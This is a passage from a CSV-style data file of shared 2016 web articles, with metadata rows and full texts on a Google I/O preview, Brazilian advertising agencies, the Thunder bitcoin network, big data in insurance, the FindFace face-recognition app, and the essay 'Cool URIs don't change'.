multitasking, new quick settings buttons, improvements to battery life, and - most importantly - new emoji . But there's almost certainly more to show. Google could demo the coming alternative to 3D Touch (or maybe not ). It could give N a proper name or even announce a release date. How much of that will happen? It's hard to say given Google's recent timing. Lately, Android releases have been coming out around October. N seems to be relatively far along, but we also don't know everything that Google is planning. Chrome OS and Android begin to converge Chrome OS: here's where things could get pretty interesting. Chrome OS and Android are starting to converge , and we're expecting to see the first big signs of this at I/O. What exactly will that mean? At first, it could look like Chrome OS being able to run most Android apps in the Play Store. That'd be a pretty huge addition to Chrome OS, and it could encourage Android developers to do a better job supporting large screen sizes. What comes next? In an attempt to quiet rumors that Chrome OS would go away in favor of a desktop Android, Google said last year that it remains "" very committed "" to Chrome and that we'd be seeing Chromebook for the foreseeable future. So don't expect huge changes just yet. But Chrome OS is definitely going to get a bit more interesting this year. Android VR will definitely be announced next week, and from what I've heard will be less powerful than the Vive or Rift. - Peter Rojas (@peterrojas) May 11, 2016 This is what I've heard. Better than Gear VR, not as good as Rift/Vive. - Peter Rojas (@peterrojas) May 11, 2016 Android VR: here's something new. Google appears to be planning a new virtual reality platform based around Android. There are enough leaks - including from Google itself - to make this seem like a sure thing. The question is, what exactly will it look like? The Wall Street Journal reported nearly a year ago that Google was working on new virtual reality features for Android. Then in February, the Financial Times reported that Google was working on a Gear VR-style headset - something you'd be able to slide a phone into. Google already makes its Cardboard headsets, but this one would seemingly be more advanced. That's what we're expecting at a bare minimum. Google will likely also show developers how they can create VR apps and games, and possibly we'll learn about whether third parties can create their own Android VR headsets. Given that Android has long thrived thanks to third-party support, that one seems pretty likely. Project Tango: this could be the year Tango breaks out. According to Bloomberg , Google wants Tango - its tech for letting smartphones understand and map the world around them - to become ubiquitous, starting with an expansion in 2016. VR is going to be a huge story - Tango may be part of it Right now, Tango devices are only available to developers. For Google's vision to come true, all Android phone manufactures would have to get on board, building Tango sensors into their phones. Google would have to give them some reason to do that, and perhaps that's what we'll see at I/O. Bloomberg reports that Tango will be used to assist virtual reality apps. If that's the case, it's easy to imagine this somehow tying into the Android VR announcement. ( The Verge 's Dieter Bohn floated that very idea not too long ago.) Point being, this could get very interesting. Auto: here's something to consider: self-driving cars are part of Google X. Google X is part of Alphabet. And Alphabet isn't running Google I/O; Google is. So does Google X get to present? I'm not sure what the answer is, or if the answer will even be consistent from year to year. But at least this year, there hasn't been any firm word suggesting we'll get autonomous car news at I/O. There hasn't been much word about Android Auto, either. But it would make sense for the platform to come up. It's been on the market for a solid year now, and it wouldn't be surprising if Google has some updates to share, whether it be improvements to the platform or new partnerships. Messaging and chat bots: messaging is hot right now. Chat bots are even hotter. Reports have pointed to Google working on a new messaging app that combines the two, and given the explosion around messaging this year, it'd be surprising for Google to wait much longer to get its solution on the market. Chat bots are summer 2016's hottest tech trend The latest details come from The Wall Street Journal , which said Google is working on a WhatsApp-like messenger, tied to your phone number, that'll let you talk with friends and chat bots. It sounds like you'll be able to message Google, which will then pull in the correct chat bot to answer your query. Some of those will be built by Google; others could come from outside developers. The Information first reported on the new messenger, suggesting that work on it began back in 2014. It also said that Google was working on a second messaging app, meant for groups. There's still a lot left unanswered. Are these really new products or are they parts of Hangouts? And if they are new, what happens to Hangouts? And why on Earth does Google think it'll get messaging right this time around ? That's the real question we want to see answered. An Echo competitor: Google wants to put its voice assistant inside of other devices, just like Amazon has done with Alexa and the Echo. The Information reported that some sort of ""voice recognition device"" is in the works, and last week Recode backed that up . The product reportedly won't be ready to launch at I/O, but it could be demoed. And if it's not, Google may still demo improvements to Now and its voice control. And maybe a ton more Other updates: though there haven't been rumors about any specific announcements, Google has a host of other projects that it likes to discuss at I/O, which we could end up hearing about. It's been just over a year since Google introduced the latest Pixel, and alongside a Chrome OS refresh could be an auspicious time to launch a new one. Android One, Google's project to refine Android for developing markets, has been an I/O standby two years running. Google Photos tends to pop up (and is an easy win, considering how much people love it). Some smart home or IoT news would make sense, following last year's introduction of Brillo and Weave. And it's been a while since we heard about updates for Android Wear. Given the heavy Android discussion, don't be surprised if it gets some new features, too.",en
1463442549,CONTENT SHARED,2259988589066296676,-1799631734242668035,1342884206924700315,,,,HTML,http://www.proxxima.com.br/home/proxxima/2016/05/16/agencias-de-propaganda-o-que-sera-delas.html,Meio&Mensagem,"Pyr Marcondes16 de maio de 2016 - 7h30 Por Pyr Marcondes As agências de propaganda dificilmente serão o que foram até hoje, em futuro não muito distante. Um inexorável processo de transformação da indústria da comunicação passou a impor novos modelos de negócio e os formatos anteriores começam a deixar de ter a eficácia que tinham, enquanto os novos ainda não se consolidaram. O setor, assim como inúmeros outros, enfrenta hoje, por um lado, a disrupção trazida por novas tecnologias vindas de indústrias conexas, por outro, a incerteza dos anunciantes, que declaradamente enxergam agora menor valor no que as agências oferecem hoje, da forma como oferecem hoje. A rentabilidade nunca esteve tão baixa. Demissões se sucedem. Consolidações buscam salvar a parte possível dos legados. O setor sofre hoje o maior abalo da sua história desde que surgiu, no final do século XIX. Difícil encontrar um líder do setor que discorde desse quadro, ainda que nunca publicamente. Mais difícil ainda encontrar um líder do setor que saiba como fazer para transformar sua agência para os novos tempos. Mudar com a profundidade que exige o cenário é desafio considerável. Como âncora a retardar as transformações necessárias estão as fontes de receita, que no Brasil se reduzem a poucas, sendo o BV a mais relevante dentre elas. É o BV que ainda paga a conta, notadamente dos grandes players, mas o horizonte aponta para um futuro em que ele perderá a força que tem. Fundamentalmente, porque os anunciantes tenderão a apertar esse cinto, exigindo mais transparência nas negociações com suas verbas. Mas também porque os grandes grupos de mídia que bancam esse jogo estão amargando transformações igualmente impactantes. Os veículos cortarão ou reduzirão consideravelmente o BV. As agências sentirão fortemente esse impacto. Entre manter-se falsamente equilibrados com o que ainda têm e ir em busca de novos modelos de negócio e de receita, os líderes do setor oscilam, uns mais que outros. Há os que buscam saídas, ainda que incertos do que devem encontrar. E há os que não conseguem se mover, por paralisia funcional, fruto da inércia de anos caminhando sempre na mesma direção. O cachimbo entortou a boca. O estudo da FENAPRO: um espelho difícil de olhar. Circula no mercado, já desde o ano passado, estudo promovido pela FENAPRO, que tenta endereçar ao menos parte desses problemas. Foram ouvidos 160 empresários e altos executivos de agências de propaganda, em grupos de trabalho que se multiplicaram em todo o País, onde se discutiu, corajosamente, é importante que se diga, o setor e seus desafios. E buscou-se criar saídas conceituais e de posicionamento para a crise. Textualmente, trechos do levantamento, concluem que vivemos ""um mundo de inovações constantes e complexidade crescente, onde o crescimento dos meios digitais fez os antigos monólogos entre marcas e consumidores virarem diálogos. E onde surgem sem parar novas e inúmeras formas de interação, desafiando as agências a descobrir todos os dias de que forma engajar consumidores às marcas que estão sob seus cuidados"". A pergunta a ser respondida foi: como podemos garantir a sustentabilidade da agência de propaganda hoje e nos próximos anos? Analisando mais profundamente a sua própria situação, as agências listaram seus problemas: - Pressão por novos modelos de remuneração - Distanciamento do C-Level dos clientes - Qualificação de profissionais inadequada para as demandas atuais - Queda da atratividade da atividade junto a estudantes e novos talentos - Baixa percepção de valor dos produtos mais preciosos da agência: inteligência, estratégia, criação e planejamento - Agenciamento de mídia x geração de ideias - Juniorização (tanto no cliente, como na agência) - Baixa coesão do setor - Imagem deteriorada - Modelo de atuação desgastado - Perda de protagonismo e relevância - Crise de identidade Para fazer face a essa lista difícil de ler e de aceitar para si mesmas, as agências se auto-propuseram a: desenvolver uma atuação mais sintonizada com o negócio dos clientes; para conquistar o respeito, a confiança e a interlocução dos principais executivos, é preciso falar a linguagem deles, conhecer seu negócio com profundidade; ir além do que simplesmente elaborar campanhas publicitárias; estar apta a fazer um diagnóstico preciso do problema ou oportunidade existente; performance é o nome do jogo atual; ser proativa e audaciosa e estar disposta a correr riscos com o cliente; estar apta a mensurar o ROI das ações criadas e praticadas; saber cobrar pela real entrega da agência; cobrar pela criação, planejamento, estratégia e também pelo sucesso alcançado pelas suas ações; não necessariamente romper com o formato existente, mas estar pronta para criar novas formas de remuneração: fee, time sheet, success fee, etc. O documento ainda aponta, adicionalmente, que as agências devem ter células de inteligência e laboratórios de inovação, mesclar publicitários com membros de outas disciplinas, agregar mais marketing à atividade, não focando apenas em comunicação. Este é, muito certamente, o mais corajoso e crítico estudo que já se fez sobre agências de propaganda no País, a partir da ótica das próprias agências. As respostas estão soprando com o vento Há no mercado, brasileiro e internacional, indícios, pistas do que as agências deveriam fazer para mudar e se adaptar. Elas estão por todas as partes. No estudo da FENAPRO, nas manchetes da mídia do trade, em eventos e seminários mundo afora. As respostas estão, como diria Bob Dylan, soprando com o vento. Crítico é admitir que não basta conhecer e decifrar o que sopra o vento. É preciso rever profundamente a estrutura interna e, ainda mais importante, a mente corporativa das agências de propaganda. E isso não só não é nada fácil, como para muitas será, infelizmente, impossível. E algum preço será cobrado por isso. Algumas já estão pagando. Do vento, reuni algumas considerações e modelos. Não existe aqui aquele ditado dos norte-americano, one size fits all. Cada agência desenvolverá sua própria solução. O que deverá resultar num mercado mais diversificado em termos de posicionamento estratégico, aumentando a oferta e as alternativas aos anunciantes. Uma variedade certamente maior do que a de hoje, em que muito do que muitas agências oferecem é pura commodity indiferenciada, com glacê de chocolate ou morango. Entre as áreas de negócio e os serviços que as agências deverão passar a oferecer estão: - Consultoria de Negócios e de Posicionamento Estratégico - as grandes consultorias do mundo estão entrando fortemente no mercado de agências porque as agências deixaram durante anos esse flanco aberto. Agora é a hora de fortalecer a entrada do fundo do castelo, antes que o estrago seja irremediável. Oferecendo consultoria de negócios (entender o negócio do cliente, como aponta a FENAPRO) e aprofundar serviços de posicionamento estratégico, que hoje até são prestados, mas estão longe de atingir alto grau de excelência. Notadamente se comparados aos projetos das big 5. - Consultoria de Brand e de Branding - esse segmento se separou do corpo da agência há anos e escritórios especializados ocuparam esse mercado, mas se a agência não cuidar da marca e do branding de seus clientes, vai cuidar do que? - Tech - as agências terão que se aliar a parceiros ou desenvolver skills de tecnologia, que envolvam disciplinas como as hoje em expansão Internet das Coisas, Realidade Aumentada, Realidade Virtual, robótica, etc. Não é rocket science, são essas disciplinas aplicadas ao marketing. O modelo para isso é criar laboratórios específicos para esse fim. - Data - desnecessário dizer que data é o centro de toda a nova forma de abordagem do consumo e do consumidor. As agências terão que trazer para si esse conhecimento e a gestão desse universo. Não apenas contratando parceiros terceirizados para isso, como fazem hoje, mas incorporando talentos e estruturas que possam minimante, de dentro da agência, criar e coordenar as ações nessa área. - Prototipagem de Produtos - muitas agências nos EUA estão se especializando nisso. Não mais apenas desenvolver campanhas para produtos dos clientes, mas propriamente criar os novos produtos para os seus clientes. - e-commerce - não dá mais para deixar a mais importante atividade online de vendas dos anunciantes na mão deles mesmos ou de terceiros especialistas, sem que as agências se responsabilizem não só pela gestão abrangente do e-commerce, como também por aumentar as vendas nesse canal. - Conteúdo - uma vez mais aqui, escritórios de todos os portes e empresas conexas ao setor de publicidade ocuparam esse setor e não há qualquer razão para que as agências não atuem diretamente aí. Os clientes serão cada vez mais publishers e deixar que outros controlem essa produção é abrir mão de uma área estrategicamente valiosíssima para o marketing dos anunciantes. - Inovação e Startups - inovação é um método e um conhecimento, que gera soluções fora da caixa para problemas já existentes ou novos problemas. Ela é uma prima mais inteligente e esperta do planejamento estratégico, porque enxerga mais longe e se adapta melhor a mudanças rápidas, como as que vivemos hoje. É preciso criar núcleos de inovação para assessorar o cliente em seus desafios de mudança. Nesse contexto, a aliança com startups vai passar a ser não apenas uma jogadinha de marketing para dizer que sua agência é muderna, mas uma atividade core na geração de novas soluções. - Realtime - incorporar ao cotidiano da agência as tarefas de tempo real que todos os clientes têm hoje e que terão cada vez mais. Gestão de lançamentos, administração de redes sociais, acompanhamento de performance de mídia e de vendas, etc. Essas novas disciplinas abrem o leque de receitas, como já apontado pela própria FENAPRO. Passam a fazer parte dessa nova lista a remuneração não só por atividades que as agências nunca cobraram, como criação e planejamento, como também novidades como a remuneração por time sheet no caso de desenvolvimento de soluções, success fee no caso da geração de receita de e-commerce ou de superação de metas de performance. Há ainda a remuneração pela concepção de novos produtos e seu design, e pela criação, produção e gestão de conteúdos. Atividades mais conceituais e estratégicas como as de consultorias e as que agregam inovação e novas tecnologias podem também ser cobradas através de modelos específicos. São muitas as novas possibilidades. E para os que acreditam que tudo isso é algo inatingível, ou invencionice, vale dar uma olhada no site da R/GA ( www.rga.com ). Ela oferece todas essas atividades. E algumas mais. Nenhuma de graça. Não se trata aqui de copiar modelos, mas de adaptá-los. Ou ainda, inová-los. Mais que tudo, trata-se de olhar no difícil espelho da realidade, como fizeram as agências do estudo da FENAPRO, e partir para a ação. A inadiável ação de mudar. O Google joga fora todo o seu legado tecnológico e desenvolve outro completamente novo a cada 18 meses. A mudança lá não é algo fortuito, é parte do modelo de gestão e de atualização do negócio. Foi pensando e agindo assim que o Google criou o Google Ads, um business de bilhões, bem nas barbas do mercado publicitário mundial, que nunca pensaria algo assim, porque é adverso a mudanças (mantém o mesmo modelo de negócios desde o século XIX) e, em muitos casos, parece mais um gato gordo e largadão, um Garfield reclamando da sua própria sorte. E maldizendo o Google.",pt
1463445753,CONTENT SHARED,4156291407717900798,-1032019229384696495,4836762251237058207,,,,HTML,http://techcrunch.com/2016/05/16/blockchain-open-sources-thunder-network-paving-the-way-for-instant-bitcoin-transactions/,"Blockchain open sources Thunder network, paving the way for instant bitcoin transactions","Blockchain , the company behind the world's most popular bitcoin wallet , has been quietly working on an interesting project called Thunder . The Thunder network is an alternative network of nodes that lets you make off-chain bitcoin payments in seconds and settle back to the bitcoin blockchain every now and then. And it makes me excited about bitcoin all over again. This sounds complicated but it's quite neat and could be a powerful innovation for bitcoin transactions. But first, let's take a step back. If you've ever tried sending a couple of bitcoins from one wallet to another, you know it can take ten or twenty minutes before the blockchain confirms the transaction. The reason behind this is that the blockchain is a network of servers that share the same record of transactions. When you send two bitcoins, all the nodes in the blockchain are going to write a line with this transaction so that everyone can confirm that the originating wallet has lost two bitcoins and the destination wallet now has two extra bitcoins. This is great, and this is what makes bitcoin completely decentralized. But it's also slow, hard to scale and expensive. Last year, Joseph Poon and Thaddeus Dryja wrote a paper about bitcoin's scalability and speed issues, and defined Lightning networks. These alternative networks would run independently from the main bitcoin blockchain and would be able to register transactions in just a second. It uses smart contracts so that all nodes in a Lightning network don't need to be aware of all transactions. Yet, this was all theory. Blockchain hired Mats Jerratsch and started working on an implementation of a Lightning network. This is what the company is announcing and open sourcing today. Thunder is the first implementation of a Lightning network. Blockchain is already running Thunder nodes and other bitcoin companies can look at the source code, provide Thunder wallets, adopt this network or fork it. Thunder can also work with other cryptocurrencies. While Blockchain isn't going to use Thunder for Blockchain wallet users just yet, the startup is already thinking about real life advantages of a solution like Thunder. With Thunder, a transaction is so fast that the network can process 100,000 transactions per second. On average, Visa handles 2,000 transactions per second and the Visa network is capable of processing 56,000 transactions per second . To put this into perspective, Blockchain wallet users are on track to make 40 million transactions this year, or around 1.3 transaction per second. Quite impressive, but let's be honest. While there are many other wallets out there, given that Blockchain is the most popular wallet maker, bitcoin transaction volume is very far behind Visa. Reason of this lies in the fact that bitcoin transactions have been too cumbersome. So I'm convinced projects like Thunder are part of the solution. Also important, transactions become much cheaper thanks to Thunder. When you settle back your Thunder payments to the bitcoin blockchain, there are still blockchain fees involved. But you can make many, many Thunder transactions before settling back to the blockchain - and Thunder transactions don't involve as many nodes. If you divide the fees by the number of Thunder transactions, paying using bitcoin becomes much cheaper. Fees are so cheap that you could finally imagine making microtransactions using bitcoins. So Thunder would make bitcoin a viable alternative to Visa. It removes many of the limitations behind the existing bitcoin protocol. Now, there are still some roadblocks. Thunder can't work with anyone with a bitcoin wallet just yet as the bitcoin core development team needs to release segregated witness and CHECKSEQUENCEVERIFY features. But the good news is that these features are on the roadmap and the core team wants to make Lightning networks like Thunder possible. Thunder is an exciting project and something that could drastically change some bitcoin use cases. Many have turned to alternative cryptocurrencies such as Ether due to bitcoin's limitations. Slowly but surely, the bitcoin community is catching up and making bitcoin payments more attractive. Featured Image: Jason Benjamin UNDER A Public Domain LICENSE",en
1463451150,CONTENT SHARED,6260854150231142184,-1032019229384696495,4836762251237058207,,,,HTML,http://www.ft.com/cms/s/2/3273a7d4-00d2-11e6-99cb-83242733f755.html,Big data analysis to transform insurance industry - FT.com,"Big data analysis has revolutionised many areas of modern life - from healthcare, to politics, to sport - yet not so far the property insurance market. That looks set to change. ""The insurance industry has been a little of a hold out,"" says Lori Sherer, head of the advanced analytics practice at management consultancy Bain, but ""is now on the brink of innovation"". More executives at property insurers - who worry about tight profit margins and growing competition - plan to take advantage of the potential benefits of the increasing amounts of captured data. From weather patterns to social media, new sources of data could help them streamline costs, be more targeted with the risks they want to underwrite, identify new customers, predict fraud or identify which claims have the potential to become very expensive. Property insurance executives have ""fairly aggressive plans"" for developing big data analysis over the next couple of years, says Klayton Southwood, director of risk consulting at Willis Towers Watson. He cites the results of a survey the consultancy conducted in the US last year. If what the executives say in the survey holds true, the property insurance industry is soon to be significantly changed by its approach to big data . For example, fewer than half of the property and casualty insurance executives who took part in the survey reported that big data and the analysis of it help them now with pricing, underwriting and risk selection. On the other hand, just over three-quarters of the survey respondents expect big data to help them in this area in two years' time. The survey suggests more management teams expect to gather data from a greater number of sources. These include data generated through website use, email and phone calls - and social media. One emerging area of increasing interest to property insurers for generating data and serving customers is the smart home. This refers to household devices and systems - from doorbells to air conditioning - that produce data and can be controlled from anywhere by computer or mobile device. Two US-based providers, Liberty Mutual Insurance and American Family Insurance, have partnered with Nest Labs, the smart-home tech company that Google acquired in 2014, to offer its smoke alarm and carbon monoxide monitor, Nest Protect, to customers for free. As part of the deal, customers can receive a discount from the insurers on their premiums and the insurers in return receive data from the device. The data shared with the insurer are limited and include the status of batteries, sensors and internet connection as well as the location of the house and the room in which the device is located. Data produced by customers are already used in other areas of insurance, such as car coverage, where telematics that monitor driving style help cut premiums for safe drivers. They are also used in retail, where supermarkets issue loyalty cards and offer discounts in exchange for data on customers' shopping habits. John Davies, managing director of risk finance at broker Marsh, says customers will typically give up personal information under two conditions: if it is easy to do so and if they receive something in return. ""In the insurance industry,"" he says, ""it's still not easy."" Asking the wrong questions or using the data in isolation can lead to poor decisions Some information can be gathered without customers knowing and social media have made this much easier. Using sites such as Facebook and Twitter, insurers can get a better understanding of their customers' behaviour and risk profile. The more insurers mine and use data, the more likely it is to become an area for regulators to address. Officials at the Switzerland-based International Association of Insurance Supervisors are discussing how insurers are using data in order to determine if the organisation should provide guidance. In November, the UK's Financial Conduct Authority requested information on how insurers are using big data. It aims to publish its findings by mid-2016 and reveal its plans on what response it will make. This could include ""a market study, adjustments to policy or guidance or another form of intervention,"" according to its website. Data protection laws in many countries put some limit on what insurers can do. That does not mean, however, that insurance executives are paying attention as much as they might. ""There are differences at different companies with how seriously they take data protection,"" says Emma Bate, partner at international law firm DAC Beachcroft. ""This needs to be discussed at the board level."" Regulatory and legal risks aside, one of the biggest challenges facing property insurers is making sure they have the right people with the right skills to capture and analyse big data properly. Respondents to the Willis Towers Watson survey ranked this as the top big-data challenge. ""Big data can be paralysing,"" says Helen Gemmell, catastrophe modelling manager at Liberty Specialty Markets. ""Asking the wrong questions of it or using the data in isolation can lead to poor decisions."" Copyright The Financial Times Limited 2016. You may share using our article tools. Please don't cut articles from FT.com and redistribute by email or post to the web.",en
1463484630,CONTENT SHARED,-6313130301986591995,-2979881261169775358,-6141124405733887375,,,,HTML,https://www.theguardian.com/technology/2016/may/17/findface-face-recognition-app-end-public-anonymity-vkontakte,Face recognition app taking Russia by storm may bring end to public anonymity,"If the founders of a new face recognition app get their way, anonymity in public could soon be a thing of the past. FindFace, launched two months ago and currently taking Russia by storm, allows users to photograph people in a crowd and work out their identities, with 70% reliability. It works by comparing photographs to profile pictures on Vkontakte, a social network popular in Russia and the former Soviet Union, with more than 200 million accounts. In future, the designers imagine a world where people walking past you on the street could find your social network profile by sneaking a photograph of you, and shops, advertisers and the police could pick your face out of crowds and track you down via social networks. In the short time since the launch, Findface has amassed 500,000 users and processed nearly 3m searches, according to its founders, 26-year-old Artem Kukharenko, and 29-year-old Alexander Kabakov. Kukharenko is a lanky, quietly spoken computer nerd who has come up with the algorithm that makes FindFace such an impressive piece of technology, while Kabakov is the garrulous money and marketing man, who does all of the talking when the pair meet the Guardian. Unlike other face recognition technology, their algorithm allows quick searches in big data sets. ""Three million searches in a database of nearly 1bn photographs: that's hundreds of trillions of comparisons, and all on four normal servers. With this algorithm, you can search through a billion photographs in less than a second from a normal computer,"" said Kabakov, during an interview at the company's modest central Moscow office. The app will give you the most likely match to the face that is uploaded, as well as 10 people it thinks look similar. Kabakov says the app could revolutionise dating: ""If you see someone you like, you can photograph them, find their identity, and then send them a friend request,."" The interaction doesn't always have to involve the rather creepy opening gambit of clandestine street photography, he added: ""It also looks for similar people. So you could just upload a photo of a movie star you like, or your ex, and then find 10 girls who look similar to her and send them messages."" Some have sounded the alarm about the potentially disturbing implications. Already the app has been used by a St Petersburg photographer to snap and identify people on the city's metro, as well as by online vigilantes to uncover the social media profiles of female porn actors and harass them. The technology can work with any photographic database, though it currently cannot use Facebook, because even the public photographs are stored in a way that is harder to access than Vkontakte. But the FindFace app is really just a shop window for the technology, the founders said. There is a paid function for those who want to make more than 30 searches a month, but this is more to regulate the servers from overload rather than to make money. They believe the real money-spinner from their face-recognition technology will come from law enforcement and retail. Kukharenko and Kabakov have recently returned from the US, and Kabakov was due to travel to Macau and present the technology to a casino chain. The pair claim they have been contacted by police in Russian regions, who told them they started loading suspect or witness photographs into FindFace and came up with results. ""It's nuts: there were cases that had seen no movement for years, and now they are being solved,"" said Kabakov. The startup is in the final stages of signing a contract with Moscow city government to work with the city's network of 150,000 CCTV cameras. If a crime is committed, the mugshots of anyone in the area can be fed into the system and matched with photographs of wanted lists, court records, and even social networks. It does not take a wild imagination to come up with sinister applications in this field too; for example authoritarian regimes able to tag and identify participants in street protests. Kabakov and Kukharenko said they had not received an approach from Russia's FSB security service, but ""if the FSB were to get in touch, of course we'd listen to any offers they had"". The pair also have big plans for the retail sector. Kabakov imagines a world where cameras fix you looking at, say, a stereo in a shop, the retailer finds your identity, and then targets you with marketing for stereos in the subsequent days. Again, it sounds a little disturbing. But Kabakov said, as a philosophy graduate, he believes we cannot stop technological progress so must work with it and make sure it stays open and transparent. ""In today's world we are surrounded by gadgets. Our phones, televisions, fridges, everything around us is sending real-time information about us. Already we have full data on people's movements, their interests and so on. A person should understand that in the modern world he is under the spotlight of technology. You just have to live with that.""",en
1463485174,CONTENT SHARED,9028580484484026894,-2979881261169775358,-6141124405733887375,,,,HTML,https://www.w3.org/Provider/Style/URI.html,Cool URIs don't change,"What makes a cool URI? A cool URI is one which does not change. What sorts of URI change? URIs don't change: people change them. There are no reasons at all in theory for people to change URIs (or stop maintaining documents), but millions of reasons in practice. In theory, the domain name space owner owns the domain name space and therefore all URIs in it. Except insolvency, nothing prevents the domain name owner from keeping the name. And in theory the URI space under your domain name is totally under your control, so you can make it as stable as you like. Pretty much the only good reason for a document to disappear from the Web is that the company which owned the domain name went out of business or can no longer afford to keep the server running. Then why are there so many dangling links in the world? Part of it is just lack of forethought. Here are some reasons you hear out there: We just reorganized our website to make it better. Do you really feel that the old URIs cannot be kept running? If so, you chose them very badly. Think of your new ones so that you will be able to keep then running after the next redesign. We have so much material that we can't keep track of what is out of date and what is confidential and what is valid and so we thought we'd better just turn the whole lot off. That I can sympathize with - the W3C went through a period like that, when we had to carefully sift archival material for confidentiality before making the archives public. The solution is forethought - make sure you capture with every document its acceptable distribution, its creation date and ideally its expiry date. Keep this metadata. Well, we found we had to move the files... This is one of the lamest excuses. A lot of people don't know that servers such as Apache give you a lot of control over a flexible relationship between the URI of an object and where a file which represents it actually is in a file system. Think of the URI space as an abstract space, perfectly organized. Then, make a mapping onto whatever reality you actually use to implement it. Then, tell your server. You can even write bits of your server to make it just right. John doesn't maintain that file any more, Jane does. Whatever was that URI doing with John's name in it? It was in his directory? I see. We used to use a cgi script for this and now we use a binary program. There is a crazy notion that pages produced by scripts have to be located in a ""cgibin"" or ""cgi"" area. This is exposing the mechanism of how you run your server. You change the mechanism (even keeping the content the same ) and whoops - all your URIs change. For example, take the National Science Foundation: NSF Online Documents Report of Working Group on Cryptology and Coding Theory the main page for starting to look for documents, is clearly not going to be something to trust to being there in a few years. ""cgi-bin"" and ""oldbrowse"" and "".pl"" all point to bits of how-we-do-it-now. By contrast, if you use the page to find a document, you get first an equally bad for the document's index page, but the html document itself by contrast is very much better: Looking at this one, the ""pubs/1998"" header is going to give any future archive service a good clue that the old 1998 document classification scheme is in progress. Though in 2098 the document numbers might look different, I can imagine this URI still being valid, and the NSF or whatever carries on the archive not being at all embarrassed about it. I didn't think URLs have to be persistent - that was URNs. This is the probably one of the worst side-effects of the URN discussions. Some seem to think that because there is research about namespaces which will be more persistent, that they can be as lax about dangling links as they like as ""URNs will fix all that"". If you are one of these folks, then allow me to disillusion you. Most URN schemes I have seen look something like an authority ID followed by either a date and a string you choose, or just a string you choose. This looks very like an HTTP URI. In other words, if you think your organization will be capable of creating URNs which will last, then prove it by doing it now and using them for your HTTP URIs. There is nothing about HTTP which makes your URIs unstable. It is your organization. Make a database which maps document URN to current filename, and let the web server use that to actually retrieve files. If you have gotten to this point, then unless you have the time and money and contacts to get some software design done, then you might claim the next excuse: We would like to, but we just don't have the right tools. Now here is one I can sympathize with. I agree entirely. What you need to do is to have the web server look up a persistent URI in an instant and return the file, wherever your current crazy file system has it stored away at the moment. You would like to be able to store the URI in the file as a check, and constantly keep the database in tune with actuality. You'd like to store the relationships between different versions and translations of the same document, and you'd like to keep an independent record of the checksum to provide a guard against file corruption by accidental error. And web servers just don't come out of the box with these features. When you want to create a new document, your editor asks you for a URI instead of telling you. You need to be able to change things like ownership, access, archive level security level, and so on, of a document in the URI space without changing the URI. Too bad. But we'll get there. At W3C we use Jigedit functionality ( Jigsaw server used for editing) which does track versions, and we are experimenting with document creation scripts. If you make tools, servers and clients, take note! This is an outstanding reason, which applies for example to many W3C pages including this one: so do what I say, not what I do. Why should I care? When you change a URI on your server, you can never completely tell who will have links to the old URI. They might have made links from regular web pages. They might have bookmarked your page. They might have scrawled the URI in the margin of a letter to a friend. When someone follows a link and it breaks, they generally lose confidence in the owner of the server. They also are frustrated - emotionally and practically from accomplishing their goal. Enough people complain all the time about dangling links that I hope the damage is obvious. I hope it also obvious that the reputation damage is to the maintainer of the server whose document vanished. So what should I do? Designing URIs It is the the duty of a Webmaster to allocate URIs which you will be able to stand by in 2 years, in 20 years, in 200 years. This needs thought, and organization, and commitment. URIs change when there is some information in them which changes. It is critical how you design them. (What, design a URI? I have to design URIs? Yes, you have to think about it.). Designing mostly means leaving information out. The creation date of the document - the date the URI is issued - is one thing which will not change. It is very useful for separating requests which use a new system from those which use an old system. That is one thing with which it is good to start a URI. If a document is in any way dated, even though it will be of interest for generations, then the date is a good starter. The only exception is a page which is deliberately a ""latest"" page for, for example, the whole organization or a large part of it. is the latest ""Money daily"" column in ""Money"" magazine. The main reason for not needing the date in this URI is that there is no reason for the persistence of the URI to outlast the magazine. The concept of ""today's Money "" vanishes if Money goes out of production. If you want to link to the content, you would link to it where it appears separately in the archives as (Looks good. Assumes that ""money"" will mean the same thing throughout the life of pathfinder.com. There is a duplication of ""98"" and an "".html"" you don't need but otherwise this looks like a strong URI). What to leave out Everything! After the creation date, putting any information in the name is asking for trouble one way or another. Authors name - authorship can change with new versions. People quit organizations and hand things on. Subject . This is tricky. It always looks good at the time but changes surprisingly fast. I discuss this more below. Status - directories like ""old"" and ""draft"" and so on, not to mention ""latest"" and ""cool"" appear all over file systems. Documents change status - or there would be no point in producing drafts. The latest version of a document needs a persistent identifier whatever its status is. Keep the status out of the name. Access . At W3C we divide the site into ""Team access"", ""Member access"" and ""Public access"". It sounds good, but of course documents start off as team ideas, are discussed with members, and then go public. A shame indeed if every time some document is opened to wider discussion all the old links to it fail! We are switching to a simple date code now. File name extension . This is a very common one. ""cgi"", even "".html"" is something which will change. You may not be using HTML for that page in 20 years time, but you might want today's links to it to still be valid. The canonical way of making links to the W3C site doesn't use the extension.( how? ) Software mechanisms . Look for ""cgi"", ""exec"" and other give-away ""look what software we are using"" bits in URIs. Anyone want to commit to using perl cgi scripts all their lives? Nope? Cut out the .pl. Read the server manual on how to do it. Disk name - gimme a break! But I've seen it. So a better example from our site is simply a report of the minutes of a meeting of W3C chair people. Topics and Classification by subject I'll go into this danger in more detail as it is one of the more difficult things to avoid. Typically, topics end up in URIs when you classify your documents according to a breakdown of the work you are doing. That breakdown will change. Names for areas will change. At W3C we wanted to change ""MarkUp"" to ""Markup"" and then to ""HTML"" to reflect the actual content of the section. Also, beware that this is often a flat name space. In 100 years are you sure you won't want to reuse anything? We wanted to reuse ""History"" and ""Stylesheets"" for example in our short life. This is a tempting way of organizing a web site - and indeed a tempting way of organizing anything, including the whole web. It is a great medium term solution but has serious drawbacks in the long term Part of the reasons for this lie in the philosophy of meaning. every term in the language it a potential clustering subject, and each person can have a different idea of what it means. Because the relationships between subjects are web-like rather than tree-like, even for people who agree on a web may pick a different tree representation. These are my (oft repeated) general comments on the dangers of hierarchical classification as a general solution. Effectively, when you use a topic name in a URI you are binding yourself to some classification. You may in the future prefer a different one. Then, the URI will be liable to break. A reason for using a topic area as part of the URI is that responsibility for sub-parts of a URI space is typically delegated, and then you need a name for the organizational body - the subdivision or group or whatever - which has responsibility for that sub-space. This is binding your URIs to the organizational structure. It is typically safe only when protected by a date further up the URI (to the left of it): 1998/pics can be taken to mean for your server ""what we meant in 1998 by pics "", rather than ""what in 1998 we did with what we now refer to as pics ."" Don't forget the domain name. Remember that this applies not only to the ""path"" part of a URI but to the server name. If you have separate servers for some of your stuff, remember that that division will be impossible to change without destroying many many links. Some classic ""look what software we are using today"" domain names are 